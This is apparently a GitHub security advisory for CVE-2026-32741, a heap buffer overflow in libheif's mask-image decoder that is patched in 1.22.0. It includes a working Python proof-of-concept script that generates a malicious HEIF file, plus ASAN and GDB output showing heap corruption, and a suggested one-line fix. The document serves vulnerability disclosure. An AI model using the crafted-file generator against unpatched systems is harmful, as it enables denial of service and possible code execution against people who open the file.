Skip to content

heap buffer overflow in decode_mask_image()

High
farindk published GHSA-j3w5-7whq-p37q May 19, 2026

Package

No package listed

Affected versions

<= 1.21.2

Patched versions

1.22.0

Description

Summary

A heap buffer overflow exists in MaskImageCodec::decode_mask_image() in
libheif/image-items/mask_image.cc, line 117. When decoding a HEIF file
containing a mask image (mski), the function copies the full iloc extent
data into a pixel buffer using memcpy(dst, data.data(), data.size()).
The copy length data.size() is determined by the iloc extent in the file
(attacker-controlled), while the destination buffer is sized based on the
declared image dimensions. No upper-bound check exists on the data length,
so a crafted file with an oversized iloc extent overflows the heap buffer.

  • Tested version: v1.21.2 (commit 284b8358, 2026-03-01)
  • Also confirmed on: current master branch as of 2026-03-03
  • Vulnerability type: CWE-122 Heap-based Buffer Overflow
  • Impact: Denial of service (crash); potential code execution via heap corruption

Vulnerable Code

File: libheif/image-items/mask_image.cc, function MaskImageCodec::decode_mask_image()

// Line 100 — lower-bound check only (no upper bound):
if (data.size() < width * height) {
    return {heif_error_Invalid_input, ...};
}

// Lines 106-112 — allocate pixel buffer based on image dimensions:
img->add_plane(heif_channel_Y, width, height, ...);

// Lines 114-117 — copy using data.size(), not width*height:
size_t stride;
uint8_t* dst = img->get_plane(heif_channel_Y, &stride);
if (((uint32_t)stride) == width) {
    memcpy(dst, data.data(), data.size());   // <-- overflow
}

The data vector is populated from the file's iloc extent. Its size is entirely
determined by the extent_length field in the iloc box, which the attacker controls.

Trigger Conditions

  1. The HEIF file contains an item of type mski (mask image).
  2. The mskC property has bits_per_pixel = 8.
  3. The ispe property declares a width that is even and >= 64 (so that stride == width,
    entering the vulnerable single-memcpy branch).
  4. The iloc extent length for the mask item is larger than the pixel buffer allocation.

No non-default security limits need to be changed. No external codec plugins are required.

Proof of Concept

gen_poc.py — Generates the crafted HEIF file

#!/usr/bin/env python3
import struct, sys

def box(tag, payload):
    return struct.pack(">I", 8 + len(payload)) + tag + payload

def fullbox(tag, ver, flags, payload):
    return box(tag, struct.pack(">I", (ver << 24) | (flags & 0xFFFFFF)) + payload)

WIDTH, HEIGHT, ILOC_LEN = 64, 1, 6000
pixel_data = b"\x80" * (WIDTH * HEIGHT) + b"\x41" * (ILOC_LEN - WIDTH * HEIGHT)

ftyp = box(b"ftyp", b"mif1" + struct.pack(">I", 0) + b"mif1")
hdlr = fullbox(b"hdlr", 0, 0, struct.pack(">I", 0) + b"pict" + b"\x00" * 12 + b"\x00")
pitm = fullbox(b"pitm", 0, 0, struct.pack(">H", 1))
iloc = fullbox(b"iloc", 1, 0,
    struct.pack(">BB", 0x44, 0x00) +
    struct.pack(">HHHHHII", 1, 1, 0, 0, 1, 0xDEADBEEF, ILOC_LEN))
infe = fullbox(b"infe", 2, 0, struct.pack(">HH", 1, 0) + b"mski\x00")
iinf = fullbox(b"iinf", 0, 0, struct.pack(">H", 1) + infe)
ispe = fullbox(b"ispe", 0, 0, struct.pack(">II", WIDTH, HEIGHT))
mskC = fullbox(b"mskC", 0, 0, struct.pack(">B", 8))
ipco = box(b"ipco", ispe + mskC)
ipma = fullbox(b"ipma", 0, 0,
    struct.pack(">I", 1) + struct.pack(">HB", 1, 2) + bytes([0x81, 0x82]))
iprp = box(b"iprp", ipco + ipma)
meta = fullbox(b"meta", 0, 0, hdlr + pitm + iloc + iinf + iprp)
mdat = box(b"mdat", pixel_data)

raw = ftyp + meta + mdat
mdat_off = len(ftyp) + len(meta) + 8
pos = raw.find(struct.pack(">I", 0xDEADBEEF))
raw = raw[:pos] + struct.pack(">I", mdat_off) + raw[pos + 4:]

out = sys.argv[1] if len(sys.argv) > 1 else "poc.heif"
with open(out, "wb") as f:
    f.write(raw)
print(f"Written {len(raw)} bytes to {out}")

ASAN Output

==12704==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7dfd9ede390f
WRITE of size 6000 at 0x7dfd9ede390f thread T0
    #0  memcpy
    #1  MaskImageCodec::decode_mask_image(...)
        libheif/image-items/mask_image.cc:117
    #2  ImageItem_mask::decode_compressed_image(...)
        libheif/image-items/mask_image.cc:148
    #3  ImageItem::decode_image(...)
        libheif/image-items/image_item.cc:731
    #4  HeifContext::decode_image(...)
        libheif/context.cc:1339
    #5  heif_decode_image
        libheif/api/libheif/heif_decoding.cc:239
    #6  main  poc.c:59

0x7dfd9ede390f is located 0 bytes after 4111-byte region
[0x7dfd9ede2900,0x7dfd9ede390f)
allocated by thread T0 here:
    #0  operator new[](unsigned long, std::nothrow_t const&)
    #1  HeifPixelImage::ImageComponent::alloc(...)
        libheif/pixelimage.cc:577

SUMMARY: AddressSanitizer: heap-buffer-overflow
    libheif/image-items/mask_image.cc:117
    in MaskImageCodec::decode_mask_image(...)

ASAN confirms: a 6,000-byte write into a 4,111-byte heap buffer,
starting exactly at the end of the allocation (0 bytes after the region).

Without ASAN

free(): invalid next size (normal)
Aborted

The overflow corrupts adjacent heap chunk metadata, causing glibc's
free() to detect invalid state and abort.

GDB Analysis

Running the PoC under GDB (with ASLR disabled via setarch -R) confirms the overflow in real time.

Breakpoint in decode_mask_image() — GDB confirms the function receives 6,000 bytes of iloc data:

Breakpoint 1, MaskImageCodec::decode_mask_image(
    context=0x55555556c9f0, ID=1,
    img=std::shared_ptr<HeifPixelImage> (empty),
    data=std::vector of length 6000, capacity 6000)
    at mask_image.cc:65

The overflowing memcpy — when execution reaches line 117:

  dst  (rdi) = 0x5555555722f0   — pixel buffer
  src  (rsi) = 0x5555555709a0   — iloc extent data
  size (rdx) = 6000 bytes       — data.size()

Destination chunk header (16 bytes before dst) shows the actual allocation size:

0x5555555722e0: 0x0000000000000000  0x0000000000001021
                ^^^^^^^^^^^^^^^^^^  ^^^^^^^^^^^^^^^^^^
                prev_size           size = 0x1020 (4128 bytes)
                                    usable = 4112 bytes

The buffer holds 4,112 usable bytes, but memcpy writes 6,000 bytes — overflow of 1,888 bytes.

Heap state BEFORE the overflow — valid chunk metadata after the pixel buffer:

0x555555573300: 0x0000000000000000  0x0000000000018d01
0x555555573310: 0x0000000000000000  0x0000000000000000
0x555555573320: 0x0000000000000000  0x0000000000000000

0x18d01 is a valid chunk size field (the top-of-heap wilderness chunk).

Heap state AFTER the overflow — same memory is destroyed by our 0x41 fill pattern:

0x555555573300: 0x4141414141414141  0x4141414141414141
0x555555573310: 0x4141414141414141  0x4141414141414141
0x555555573320: 0x4141414141414141  0x4141414141414141

The adjacent chunk's prev_size and size fields are overwritten. The heap is corrupt.

The crash — glibc detects the corrupted metadata and aborts:

free(): invalid next size (normal)
Program received signal SIGABRT, Aborted.

Call stack at the time of the overflow:

#0  __memcpy_avx_unaligned_erms()
#1  MaskImageCodec::decode_mask_image()   mask_image.cc:117
#2  ImageItem_mask::decode_compressed_image()  mask_image.cc:148
#3  ImageItem::decode_image()             image_item.cc:731
#4  HeifContext::decode_image()           context.cc:1339
#5  heif_decode_image()                   heif_decoding.cc:239
#6  main()                                poc.c:59

Suggested Fix

Use the intended pixel count as the copy length instead of the
attacker-controlled data size:

--- a/libheif/image-items/mask_image.cc
+++ b/libheif/image-items/mask_image.cc
@@ -114,7 +114,7 @@
   size_t stride;
   uint8_t* dst = img->get_plane(heif_channel_Y, &stride);
   if (((uint32_t)stride) == width) {
-    memcpy(dst, data.data(), data.size());
+    memcpy(dst, data.data(), static_cast<size_t>(width) * height);
   }

The existing check at line 100 guarantees data.size() >= width * height,
so this is safe. It limits the copy to exactly the number of pixels the
image declares, regardless of how large the iloc extent is.

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
Required
Scope
Unchanged
Confidentiality
None
Integrity
Low
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:H

CVE ID

CVE-2026-32741

Weaknesses

Heap-based Buffer Overflow

A heap overflow condition is a buffer overflow, where the buffer that can be overwritten is allocated in the heap portion of memory, generally meaning that the buffer was allocated using a routine such as malloc(). Learn more on MITRE.

Credits